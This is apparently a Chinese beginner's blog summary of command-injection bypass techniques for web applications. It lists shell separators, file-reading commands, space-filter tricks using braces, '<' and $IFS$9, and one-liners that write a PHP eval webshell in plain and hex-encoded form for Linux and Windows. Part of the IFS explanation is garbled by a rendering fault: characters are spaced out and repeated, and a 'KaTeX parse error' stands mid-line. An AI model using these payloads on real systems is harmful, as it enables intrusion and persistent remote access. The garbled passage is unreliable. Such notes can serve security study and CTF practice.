首先:Command Injection 是web程序对用户提交数据检测不严格造成的命令攻击。与sql注入攻击一样都会造成很大的危害。–走向一个安全小白的总结之路
一些绕过总结
-
命令连接符
- “;”:执行完前面的语句再执行后面的语句。
- “|”:显示后面语句的执行结果。
- “||”:当前面的语句执行出错时,执行后面的语句。
- “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
- %0a“这个为url编码的换行符,不能在linux下直接使用需要通过php环境下”(在过滤掉前面几种后可以考虑);
-
查看文件内容的命令
- “cat" 由第一行开始显示,并将所有内容输出。
- “tac”与cat相反,从最后一行开始逐行输出。
- “more” 就是我们管道中常用的分页显示。
- “head”可以显示文本内容的前几行
- “tail”显示末尾几行
- “nl”与cat -n 命令一样,输出内容并显示行号 ;
-
通过命令行编写webshell
- “linux":echo “<?php eval(@\$_POST['pass']);?>” > webshell.php;
- echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php//与上一种异曲同工,知识转成了16进制 |xxd是将16进制转回去
- windos下:“echo ^<?php eval($_POST[pass]); ?^> > webshell.php”
-
不适用空格的姿势
- “{ls,-a}"
- “<”:ls<-a
- I F S : 借 众 博 主 的 解 释 : IFS:借众博主的解释: IFS:借众博主的解释:IFS在linux下表示分隔符,但是如果单纯的cat I F S 2 , b a s h 解 释 器 会 把 整 个 I F S 2 当 做 变 量 名 , 所 以 导 致 输 不 出 来 结 果 , 然 而 如 果 加 一 个 就 固 定 了 变 量 名 , 同 理 在 后 面 加 个 IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个 IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个就固定了变量名,同理在后面加个可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
- 使用环境变量:shell=KaTeX parse error: Undefined control sequence: \x at position 2: '\̲x̲20123';\x20是空格。…(find flag*).
5.**当过滤大部分操时候**
1. 可以使用$@,例如:ca$@t flag